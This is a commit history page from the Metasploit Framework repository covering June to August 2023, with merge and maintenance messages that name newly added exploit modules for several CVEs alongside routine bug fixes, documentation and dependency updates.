Compare commits

..

3129 Commits

Author SHA1 Message Date
Jeffrey Martin a8583438c1 fix nokogiri version out of sync in lock file 2023-08-03 17:31:01 -05:00
Metasploit 6c6a553284 automatic module_metadata_base.json update 2023-08-03 14:46:55 -05:00
Jeffrey Martin 5a3a08ca2a Land #18255, Remove python2 from docker setup 2023-08-03 14:24:27 -05:00
adfoster-r7 756d746abe Remove python2 from docker setup 2023-08-03 20:20:13 +01:00
Spencer McIntyre ab2b1b731d Land #18254, remove double refs in Gemfile.lock
remove double reference in Gemfile.lock
2023-08-03 14:47:15 -04:00
Jeffrey Martin 776b4918a7 remove double reference in Gemfile.lock
merge introduced double entries for aws-sdk-ec2instanceconnect
2023-08-03 13:44:07 -05:00
Spencer McIntyre e3d4a8ccd9 Land #18234, Fix for issue #13724
Fix for issue #13724: fix crash for unloaded user32.dll: add library loading
2023-08-03 14:32:33 -04:00
Metasploit bd36c80a2a automatic module_metadata_base.json update 2023-08-03 12:27:01 -05:00
Christophe De La Fuente 4a7836055e Land #18211, Subrion CMS v4.2.1 RCE 2023-08-03 19:03:44 +02:00
Christophe De La Fuente 00006fffae Land #18240, Citrix RCE - CVE-2023-3519 2023-08-03 18:55:48 +02:00
Spencer McIntyre 67e1c57b7c Fix some buffer encoding issues 2023-08-03 12:47:14 -04:00
Metasploit 7fee5a0761 automatic module_metadata_base.json update 2023-08-03 11:31:10 -05:00
Spencer McIntyre 39382c4652 Land #17600, Add AWS Instance Connect Sessions
Implement AWS Instance Connect Sessions
2023-08-03 12:06:29 -04:00
cgranleese-r7 5756241fb3 Land #18223, Fix broken msfconsole histories when switching between shell sessions 2023-08-03 16:40:01 +01:00
Spencer McIntyre 034fcdde59 Drop the logic to filter repeated error messages 2023-08-03 10:51:58 -04:00
Ismail Dawoodjee 74e886dd68 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 20:58:22 +06:30
D00Movenok 3ea9c0100b fixed windows/x64/messagebox CachedSize 2023-08-03 17:10:11 +03:00
Metasploit 4360821d38 automatic module_metadata_base.json update 2023-08-03 07:15:27 -05:00
Ismail Dawoodjee 31da1f890d Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 18:29:21 +06:30
cgranleese-r7 49c5b1df64 Land #18203, Fix libssh_auth_bypass crash on newer versions of Ruby 2023-08-03 12:51:36 +01:00
cgranleese-r7 b44c08e5f1 Land #18248, Fix bootsnap warning when booting msfrpc service 2023-08-03 12:46:15 +01:00
cgranleese-r7 265cec01ae Land #18249, Give better error messages when failing to load mettle extensions 2023-08-03 12:40:03 +01:00
Ismail Dawoodjee 1c075f659c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 10:16:07 +06:30
adfoster-r7 a643fa517a Give better error messages when failing to load mettle extensions 2023-08-02 23:03:27 +01:00
Spencer McIntyre 930c90c3ac Update all targets so the stack can be relocated 2023-08-02 14:49:04 -04:00
Metasploit 1943892aef automatic module_metadata_base.json update 2023-08-02 13:02:12 -05:00
Spencer McIntyre b365ab7d10 Add a target for 13.1-37.38 2023-08-02 13:57:53 -04:00
adfoster-r7 9a40e2612b Land #17129, Add OSX Aarch64 Payload support 2023-08-02 18:37:56 +01:00
Spencer McIntyre 5d0b6e1fbc Add a target for 13.0-91.12 2023-08-02 12:48:34 -04:00
adfoster-r7 67770d5684 Fix bootsnap warning when booting msfrpc service 2023-08-02 17:35:11 +01:00
ismaildawoodjee 19dcc2d674 Move module and documentation from linux/http to multi/http 2023-08-02 10:10:27 -04:00
Ismail Dawoodjee 888091dfe4 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-02 20:21:31 +06:30
usiegl00 dd7b50d292 Merge pull request #1 from adfoster-r7/update-osx-templates-makefile-and-compile-binaries
Update osx templates makefile and compile binaries
2023-08-01 19:09:19 -07:00
adfoster-r7 89cd524acb Update osx templates makefile and compile binaries 2023-08-02 01:26:18 +01:00
RageLtMan f0c853073e Address most of @adfoster-r7's 202307 review 2023-08-01 15:04:58 -04:00
Jeffrey Martin 5c67f3231b add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:58 -04:00
Grant Willcox f95a39254a Bump up dependency versions 2023-08-01 15:04:57 -04:00
Spencer McIntyre 396029a58e Fix connectivity issues
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
2023-08-01 15:04:32 -04:00
Spencer McIntyre cd70044e36 Automatically login to the serial connection 2023-08-01 15:04:32 -04:00
Spencer McIntyre 18b6b3ef0b Remove the Windows module
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
2023-08-01 15:04:32 -04:00
Spencer McIntyre 1a3b579cd9 Cleanups and drop INSTANCE_PORT 2023-08-01 15:04:32 -04:00
RageLtMan 2dd9524b2b AWSSSM: hint at alternative command docs 2023-08-01 15:04:32 -04:00
RageLtMan f8c736589f AWSIC: fix comm_string 2023-08-01 15:04:32 -04:00
RageLtMan dc1ca7aeff Fix-up per @adfoster-r7 2023-08-01 15:04:32 -04:00
RageLtMan dd2ccb3750 AWSOOB: add references, cleanup ssm_enum name 2023-08-01 15:04:32 -04:00
RageLtMan 7290a61853 AWSIC: Address @adfoster-r7's comments 2023-08-01 15:04:32 -04:00
RageLtMan 03f6bf1c84 AWSIC: Only try to get session once per handler
Import @smcintyre-r7's fix for multiple session attempts in SSM
2023-08-01 15:04:32 -04:00
RageLtMan 69ae14ec62 AWSIC: payload uri cleanup 2023-08-01 15:04:32 -04:00
Jeffrey Martin eaa4768547 add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:30 -04:00
RageLtMan 2352ce6740 Implement AWS Instance Connect Sessions
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html

This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.

Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.

Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.

Testing:
  Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
  Logged in using previously-known credentials.
  Verified console operations.

Notes:
  Handler keeps firing, same as the SSM session concern.
  There is a limit to the number of sessions which an instance can
hold (possibly only one).
2023-08-01 15:04:03 -04:00
Spencer McIntyre 692c625752 Add module docs 2023-08-01 12:28:13 -04:00
Spencer McIntyre eb5be5746c Add a basic check method to detect Citrix 2023-08-01 12:17:30 -04:00
cgranleese-r7 cd8cd0a52b Land #18243, Fix appscan import failure on empty proof 2023-08-01 15:10:06 +01:00
adfoster-r7 5f9d131cdd Fix appscan import failure on empty proof 2023-08-01 14:31:48 +01:00
Metasploit b875b455f7 automatic module_metadata_base.json update 2023-08-01 08:09:04 -05:00
Christophe De La Fuente f07578b4b4 Land #18209, Fix bypassuac_comhijack module crash 2023-08-01 14:52:41 +02:00
Ismail Dawoodjee 11fb61c3b6 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-01 14:24:37 +03:00
usiegl00 c028d33cae Update OSX AARCH64 Stager
This fixes an issue with the stager size in the osx aarch64 payloads. It
also adds the source and Makefile for template_aarch64_darwin.bin
2023-07-31 20:30:30 -07:00
Spencer McIntyre f787bcd04f Define the space for the payload 2023-07-31 18:06:38 -04:00
Metasploit 8b8acadc9c automatic module_metadata_base.json update 2023-07-31 16:53:39 -05:00
Spencer McIntyre de6508c3e3 Initial commit of CVE-2023-3519 2023-07-31 17:30:52 -04:00
adfoster-r7 b979217227 Land #18239, Add version numbers to apache nifi rce module 2023-07-31 22:28:52 +01:00
h00die b2869a5550 version numbers for apache nifi rce 2023-07-31 17:16:26 -04:00
h00die 5d9a65eeb0 version numbers for apache nifi rce 2023-07-31 16:14:57 -04:00
adfoster-r7 89378d54c8 Land #18238, fix bug scanner credential enumeration bug 2023-07-31 16:55:19 +01:00
Dean Welch 9932aaaaaa Add specs for resetting password list when username is specified 2023-07-31 16:22:08 +01:00
Dean Welch 6c367f39c8 Reset password list file descriptor for later use 2023-07-31 15:42:25 +01:00
Metasploit 7df5ae0a62 automatic module_metadata_base.json update 2023-07-31 08:41:50 -05:00
Christophe De La Fuente a7402fb5f1 Land #18205, Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-31 15:15:07 +02:00
Christophe De La Fuente 56661f49ee Add a comment explaining why the Windows target is disabled 2023-07-31 15:13:35 +02:00
ismaildawoodjee 154387f99a Add additional installation instructions and scenarios 2023-07-30 07:28:16 -04:00
D00Movenok a3f52672da Fix crash for unloaded user32.dll: load library.
Co-authored-by:  ksen-lin <37420872+ksen-lin@users.noreply.github.com>
2023-07-30 00:50:04 +03:00
usiegl00 9019b51eaa Update AARCH64 Shellcode Generation
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
2023-07-29 08:26:56 -07:00
Ismail Dawoodjee aeb8cd3971 Use uri variable instead of hardcoding it - 2nd instance
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:30:42 +03:00
Ismail Dawoodjee 207d00b73c Use uri variable instead of hardcoding it
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:29:06 +03:00
ismaildawoodjee 06db7dae40 Change parsing method for version number 2023-07-28 16:17:58 -04:00
Ismail Dawoodjee c4d089b884 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-28 23:13:11 +03:00
Ege Balcı 0996938113 Add note for Windows compatibility 2023-07-28 17:06:38 +02:00
Ege Balcı c509b7b341 Comment out Windows target related lines 2023-07-28 17:06:21 +02:00
Metasploit bcda3e8228 automatic module_metadata_base.json update 2023-07-28 08:22:17 -05:00
Christophe De La Fuente 0c1d945861 Land #18221, wdmycloud unauthenticated cmd injection - CVE-2016-10108 CVE-2018-17153 2023-07-28 14:55:50 +02:00
ErikWynter 40ef9d496a add docs for wd_mycloud_unauthenticated_cmd_injection 2023-07-28 10:16:50 +03:00
Ege Balcı 225a33995a Merge branch 'rudder_server_sqli_rce' of github.com:egebalci/metasploit-framework into rudder_server_sqli_rce 2023-07-28 00:54:29 +02:00
Ege Balcı 6b11439fa1 Remove basic auth and API_USER/PASS options 2023-07-28 00:44:44 +02:00
Ege Balcı 5d00f882ad Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-07-27 21:58:06 +00:00
ErikWynter f79b4331b8 code review fixes for wd_mycloud_unauthenticated_cmd_injection 2023-07-27 23:09:50 +03:00
Ismail Dawoodjee f3e1fccd0c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-27 22:17:46 +03:00
Metasploit 1390d50ca4 Bump version of framework to 6.3.28 2023-07-27 12:09:19 -05:00
Metasploit b65115e97f automatic module_metadata_base.json update 2023-07-27 11:11:44 -05:00
cgranleese-r7 055206a11b Land #18225, Fix invalid references in modules 2023-07-27 16:56:11 +01:00
adfoster-r7 449af8daa7 Fix broken msfconsole histories when switching between shell sessions 2023-07-27 16:12:57 +01:00
adfoster-r7 f3adc3f79f Fix invalid references in modules 2023-07-27 16:02:37 +01:00
Ege Balcı 103f9a3f60 Update install instructions and scenario 2023-07-26 18:08:54 +02:00
Ege Balcı ca9601bb58 Fixed check method and targets 2023-07-26 18:01:26 +02:00
Ege Balcı 5b5f666256 Make rubocop happy 2023-07-26 16:26:18 +02:00
Ege Balcı 006831938d Adjust targets 2023-07-26 16:26:18 +02:00
Ege Balcı f5e91f686c Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:18 +02:00
Ege Balcı d50fceca40 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 1b52c7c8ba Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı bc58254db8 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 00f2fe03be Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı fa3638b10e Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı d6328edc27 Make rubocop happy 2023-07-26 16:26:17 +02:00
Ege Balcı 5018c0cdc5 Add documentation 2023-07-26 16:26:17 +02:00
Ege Balcı 47f48e8adb Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-26 16:26:17 +02:00
ErikWynter 53b8653ac7 add wd_mycloud_unauthenticated_cmd_injection 2023-07-26 17:24:44 +03:00
ismaildawoodjee b7b11373f5 Use full_uri for the payload URI 2023-07-25 22:53:11 -04:00
Ismail Dawoodjee 7ad7c40e40 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-26 05:27:12 +03:00
Spencer McIntyre 01b9d41ed1 Land #18213, Fix evasion windows syscall inject
Fix evasion windows syscall inject module crash
2023-07-25 16:30:59 -04:00
Ismail Dawoodjee 867282ba96 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 23:09:30 +03:00
ismaildawoodjee 671a90ee58 Put checks for website requests and change failure message 2023-07-25 16:08:25 -04:00
Metasploit 29e8c36214 automatic module_metadata_base.json update 2023-07-25 11:02:17 -05:00
Christophe De La Fuente c7f8ce5acd Land #18199, VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887 2023-07-25 17:45:30 +02:00
Ismail Dawoodjee 78c1f75f2a Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 18:01:08 +03:00
ismaildawoodjee e9f53bd195 Use full_uri instead of piecing together a full URI 2023-07-25 11:00:21 -04:00
Metasploit 730d774e7e automatic module_metadata_base.json update 2023-07-25 09:31:21 -05:00
cgranleese-r7 a244c6ff37 Land #18142, WordPress File Manager Advanced Shortcode Unauthenticated RCE [CVE-2023-2068] 2023-07-25 15:15:22 +01:00
cgranleese-r7 52b417b1af Update documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md 2023-07-25 14:06:45 +01:00
h00die-gr3y 43056ad621 removed powershell mixin 2023-07-25 14:06:45 +01:00
h00die-gr3y c1d84e950c Update based on bwatters-r7 comments 2023-07-25 14:06:44 +01:00
h00die-gr3y 45eacec846 Updated module with WordPress check 2023-07-25 14:06:44 +01:00
h00die-gr3y a3daab88e6 Added documentation and updated exploitable plugins list 2023-07-25 14:06:42 +01:00
h00die-gr3y cda6ab5960 init commit module 2023-07-25 14:06:29 +01:00
adfoster-r7 fa97281267 Add documentation on building and testing vulnerable targets 2023-07-25 13:48:38 +01:00
ismaildawoodjee e2a0405975 Merge branch 'subrion_cms_file_upload_rce' of github.com:ismaildawoodjee/metasploit-framework into subrion_cms_file_upload_rce 2023-07-25 03:49:13 -04:00
ismaildawoodjee 3ce382dcc2 Fix issues with msftidy_docs.rb 2023-07-25 03:48:58 -04:00
Ismail Dawoodjee a709c4c010 Update modules/exploits/linux/http/subrion_cms_file_upload_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-24 20:36:28 +03:00
adfoster-r7 49f2d1c3a9 Fix evasion windows syscall inject module crash 2023-07-24 16:15:51 +01:00
ismaildawoodjee 568849fad3 Add scenario for Ubuntu 20.04 2023-07-24 11:03:49 -04:00
ismaildawoodjee 4e16307165 Add module and documentation for Subrion CMS v4.2.1 RCE 2023-07-21 17:22:58 -04:00
Jack Heysel 586971c1fd Fix incomplete copy pasta in docs 2023-07-21 14:38:07 -04:00
adfoster-r7 c26d44a177 Fix bypassuac_comhijack module crash 2023-07-21 16:46:43 +01:00
Metasploit 69cebde238 automatic module_metadata_base.json update 2023-07-21 06:15:43 -05:00
adfoster-r7 f287f50be7 Land #18187, Fixes incorrect usage of pack/unpack directives 2023-07-21 11:40:02 +01:00
dwelch-r7 1af22cfd22 Land #18096, Add initial proxies datastore support for kerberos workflows 2023-07-21 11:37:04 +01:00
adfoster-r7 08a2a293a9 Add proxies datastore support to kerberos 2023-07-21 11:19:50 +01:00
Jack Heysel ee26e7f926 Rubocop fixes 2023-07-20 16:40:28 -04:00
Jack Heysel 421b06119f Update docs 2023-07-20 14:55:27 -04:00
Jack Heysel c48346413c Fixed payload and verion detection 2023-07-20 14:44:56 -04:00
Metasploit b4ec01de83 Bump version of framework to 6.3.27 2023-07-20 12:14:17 -05:00
adfoster-r7 2ae6688815 Fix libssh_auth_bypass crash on newer versions 2023-07-20 12:29:21 +01:00
Jack Heysel d03157fcc1 Installation instructions 2023-07-19 14:23:17 -04:00
h00die 530934f78a review comments 2023-07-19 11:42:47 -04:00
cgranleese-r7 8e0a909b18 Fixes incorrect usage of pack/unpack directives 2023-07-19 11:39:00 +01:00
Metasploit b4991a97d0 automatic module_metadata_base.json update 2023-07-18 20:26:47 -05:00
bwatters 01434662fa Land #18182, Add module and doc for cve-2023-26876
Merge branch 'land-18182' into upstream-master
2023-07-18 20:10:47 -05:00
Metasploit a6e4d60457 automatic module_metadata_base.json update 2023-07-18 18:40:14 -05:00
bwatters 297c484a1c Land #18173, Add Openfire Authentication Bypass RCE [CVE-2023-32315]
Merge branch 'land-18173' into upstream-master
2023-07-18 18:13:20 -05:00
Metasploit 1e2a5a5c11 automatic module_metadata_base.json update 2023-07-18 08:41:15 -05:00
cgranleese-r7 a0f04a7018 Land #17681, Add datastore option for Jenkins home directory 2023-07-18 14:17:15 +01:00
Joshua Rogers d9e23a5c67 Update modules/post/multi/gather/jenkins_gather.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-07-18 14:02:27 +02:00
h00die-gr3y 7f35abff86 fixed the invalid character at the store_valid_credential‎ function 2023-07-18 08:38:06 +00:00
rodnt ddb1cc0497 Fix all warns from msftidy rename the docs with the correct name 2023-07-17 23:57:39 +00:00
h00die-gr3y 0ff2ca4f40 updates based on latest comments 2023-07-16 18:43:21 +00:00
H00die.Gr3y f608424242 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-15 12:02:22 +02:00
H00die.Gr3y dfcb52d189 Merge pull request #1 from bwatters-r7/land-18173
Adjust files to be better shared
2023-07-15 11:46:41 +02:00
rodnt d7b0e94729 fix made at the request of bwatters-r7 2023-07-14 21:34:32 +00:00
Jack Heysel 11d3248532 Land #18186, Add syntax highlighting to wiki
This PR adds highlining to multiple code snippets in the wiki.
2023-07-14 14:53:38 -04:00
bwatters b15d595de2 Adjust files to be better shared 2023-07-14 12:47:04 -05:00
adfoster-r7 f0f2314da9 Add syntax highlighting to multiple code snippets 2023-07-14 11:52:47 +01:00
rodnt 1e75365f8e Update with all changes proposed by smcintyre-r7 2023-07-13 23:38:55 +00:00
Metasploit 7bebee0f42 Bump version of framework to 6.3.26 2023-07-13 12:13:12 -05:00
rodnt 3f0d0ee34c Merge branch 'rapid7:master' into piwigo_cve_26876 2023-07-13 09:59:43 -03:00
rodnt fb8947aa49 change the comment at mysql image 2023-07-13 12:58:30 +00:00
rodnt 4dc6e59fa3 bwatters-r7 suggestions were applied. 2023-07-13 12:51:34 +00:00
Metasploit 7950db3358 automatic module_metadata_base.json update 2023-07-12 13:53:26 -05:00
101719434+rodnt@users.noreply.github.com 5b638bb37b add module and doc for cve-2023-26876 2023-07-12 15:45:40 -03:00
Jack Heysel 10c1b79c37 Land #17861, pfSense Config Data RCE as root
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
2023-07-12 14:32:06 -04:00
emirpolatt 34f25fbb65 pfSense Config Data Remote Command Execution as root (CVE-2023-27253) Module 2023-07-12 13:27:02 -04:00
adfoster-r7 6b06b77b5a Land #18181, Change dead links to live links, in documents 2023-07-12 17:57:05 +01:00
hahwul 3236aaf6c3 Change dead links to live links, in documents 2023-07-13 01:06:34 +09:00
Metasploit 27638d7409 automatic module_metadata_base.json update 2023-07-10 18:19:51 -05:00
adfoster-r7 5cb5c18550 Land #18170, Add module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214) 2023-07-10 23:56:09 +01:00
Metasploit 917adffb83 automatic module_metadata_base.json update 2023-07-10 17:46:41 -05:00
Jack Heysel bd004e0831 Land #18178, update refence format entry
This PR updates a reference on exploit/windows/smb/ms08_067_netapi
to the new URL format.
2023-07-10 18:19:52 -04:00
Jeffrey Martin 3635ce9c03 update reference format for entry in rapid7.com 2023-07-10 16:54:42 -05:00
Jack Heysel 420147d02e Land #18164, WooCommerce Payments auxiliary module
This module exploits an auth bypass and priv esc vulnerability
in order to create an admin wordpress user.
2023-07-10 17:19:56 -04:00
jheysel-r7 5261d842bc Update documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md 2023-07-10 14:18:50 -04:00
adfoster-r7 c3a0b0b1cb Land #18177, update the wiki to use https instead of http 2023-07-10 10:46:29 +01:00
ismaildawoodjee 025b37ce62 Replace other stale http:// links with https:// 2023-07-10 03:29:08 -04:00
h00die d6911f6b13 add new api endpoint, and checks for multiple versions 2023-07-09 19:48:16 -04:00
ismaildawoodjee 2aea7b2fda Change exploit template comment header from http to https for Msftidy
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
2023-07-09 15:56:08 -04:00
Ismail Dawoodjee 0a9af48662 Merge branch 'rapid7:master' into smartermail_rce 2023-07-09 17:48:49 +03:00
h00die-gr3y c34779a5f1 updates based on comments of jvoisin and adfoster-r7 2023-07-09 12:20:58 +00:00
ismaildawoodjee e61342afac Proper error handling for closing TCP socket and used Rex exceptions 2023-07-09 07:25:09 -04:00
h00die-gr3y a3ea55f2a6 added documentation 2023-07-08 12:30:54 +00:00
h00die-gr3y 8edbf73b6f first release exploit module 2023-07-08 09:48:17 +00:00
adfoster-r7 b04ff3c579 Land #18172, Tidy up capture plugin specs 2023-07-07 17:12:21 +01:00
Rory McKinley 5974801e14 Tidy up plugin specs 2023-07-07 17:14:29 +02:00
ismaildawoodjee 1706812099 Implemented requested changes
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket

* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
  for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
2023-07-07 04:14:20 -04:00
Metasploit a0bdbce3c9 Bump version of framework to 6.3.25 2023-07-06 17:49:06 -05:00
Jeffrey Martin 00095fa495 update Pro version docs for 4.22.1 release 2023-07-06 15:02:56 -05:00
Grant Willcox 56cba64e4a Land #18169, Add centralized Metasploit plugin documentation 2023-07-06 14:11:51 -05:00
Grant Willcox d16f38a59c Add command syntax for captureg command reference 2023-07-06 13:14:49 -05:00
Grant Willcox 914818d372 Remove extra character from thread description. 2023-07-06 13:14:14 -05:00
adfoster-r7 bfcd5d0466 Add centralized Metasploit plugin documentation 2023-07-06 19:00:33 +01:00
Ismail Dawoodjee f959dee046 Change module name
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:50:44 +03:00
Ismail Dawoodjee 24ef4e1b90 Update documentation/modules/exploit/windows/http/smartermail_rce.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:49:49 +03:00
Grant Willcox 81cf6c2a09 Fix up credential storing code 2023-07-06 10:43:20 -05:00
ismaildawoodjee 591fee1850 Fix msftidy complaining about https:// URL scheme in Line 2 2023-07-06 11:01:54 -04:00
Grant Willcox c3aefe577b Fix url_root loop code and user creation code 2023-07-06 09:36:19 -05:00
ismaildawoodjee ad0d3e79a9 SmarterMail RCE module and documentation 2023-07-06 08:00:28 -04:00
adfoster-r7 88a539a82c Land #18144, update capture plugin to be more helpful, and add documentation 2023-07-06 11:17:14 +01:00
Metasploit e3bdb7a917 automatic module_metadata_base.json update 2023-07-06 02:31:54 -05:00
Christophe De La Fuente df4a03c79d Land #18082, Apache RocketMQ update config RCE (CVE-2023-33246) 2023-07-06 09:15:03 +02:00
Grant Willcox 3abcb3ebaa Explain ADMINID field more 2023-07-05 13:10:41 -05:00
Grant Willcox ce19ce5b72 Apply fixes from review 2023-07-05 12:24:51 -05:00
adfoster-r7 00aa2e63a0 Land #18166, Handle nil error when creating adapted payloads 2023-07-05 18:07:12 +01:00
Jack Heysel f1b5cd46f4 Apache RocketMQ update config RCE 2023-07-05 12:38:51 -04:00
Metasploit 83dc8e9012 automatic module_metadata_base.json update 2023-07-05 11:36:32 -05:00
Dean Welch d452f49f09 Handle nil error when creating adapted payloads 2023-07-05 17:28:05 +01:00
Christophe De La Fuente ae48236d07 Land #18122, rocketmq version lib 2023-07-05 18:11:25 +02:00
Grant Willcox da6cdd1d5b Fix up datastore setting code 2023-07-05 10:55:14 -05:00
jheysel-r7 53a761a13d Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-05 11:13:08 -04:00
h00die f77e7db637 woocommerce payments auth bypass 2023-07-04 13:09:27 -04:00
h00die 8d686e5a28 woocommerce payments auth bypass 2023-07-04 13:06:27 -04:00
h00die 375a315b3d woocommerce payments auth bypass 2023-07-04 13:05:07 -04:00
Grant Willcox d97c0fc8f7 Land #18153, Remove Ruby 2.7 from Github actions
Ruby 2.7 has been EOL'd for 3 months now and is no longer supported.
2023-06-30 15:38:16 -05:00
adfoster-r7 d968d92e53 Remove Ruby 2.7 from Github actions 2023-06-30 14:10:07 +01:00
cgranleese-r7 badb710940 Land #18152, Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 14:07:07 +01:00
adfoster-r7 fa0e53775f Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 10:22:13 +01:00
Metasploit dfbd14ea5b automatic module_metadata_base.json update 2023-06-29 17:43:57 -05:00
Grant Willcox 859ff288fc Land #18147, Add Ruby 3.3.0-preview1 to test suite 2023-06-29 17:20:24 -05:00
adfoster-r7 085943bd78 Add Ruby 3.3.0-preview1 to test suite 2023-06-29 22:53:17 +01:00
Jack Heysel cc1b7db773 Method documentation comments 2023-06-29 15:52:03 -04:00
jheysel-r7 35f5b19512 Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-29 15:23:27 -04:00
Metasploit 1426a5c12e Bump version of framework to 6.3.24 2023-06-29 12:18:27 -05:00
Rory McKinley 1dff3e5e26 Copy blog post about capture plugin to docs 2023-06-29 14:58:37 +02:00
dwelch-r7 028660384a Land #18146, Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 13:27:57 +01:00
adfoster-r7 50c675cc90 Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 00:00:48 +01:00
adfoster-r7 0c8dff1ab0 Land #17901, Add lazy loading for payloads on startup 2023-06-28 23:12:12 +01:00
Metasploit 0aa0bbadd6 automatic module_metadata_base.json update 2023-06-28 13:06:39 -05:00
Spencer McIntyre 740fe5f6c9 Land #18133, Dotnet signature fix
The signature of the .NET executable will now be automatically
determined based on the .NET executable and not the parameters provided
to the module.
2023-06-28 13:50:26 -04:00
Rory McKinley a967815397 Remove reliance on deprecated print_* methods 2023-06-28 17:56:57 +02:00
Rory McKinley 795fae2b81 Tweak help output to provide more detail 2023-06-28 16:52:07 +02:00
Ashley Donaldson 6772740f86 Fix bug in HostingCLR relating to the first argument passed to a dotnet assembly. 2023-06-28 09:24:33 +10:00
Ashley Donaldson afe359281c Remove manual signature handling, and figure it out for the user. 2023-06-28 09:22:01 +10:00
jheysel-r7 ce2629d4e1 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:36 -04:00
jheysel-r7 3e4b62a240 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:13 -04:00
jheysel-r7 f86f9c0440 Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-27 16:39:16 -04:00
dwelch-r7 36e0d8f915 Land #18121, Add proper SubjectAltName parsing 2023-06-27 16:54:33 +01:00
Metasploit 3e999a1dc5 automatic module_metadata_base.json update 2023-06-27 08:48:05 -05:00
Spencer McIntyre 67f7a33d77 Land #18114, .NET assembly execution enhancements
Allow .NET assembly execution within the meterpreter process
2023-06-27 09:32:43 -04:00
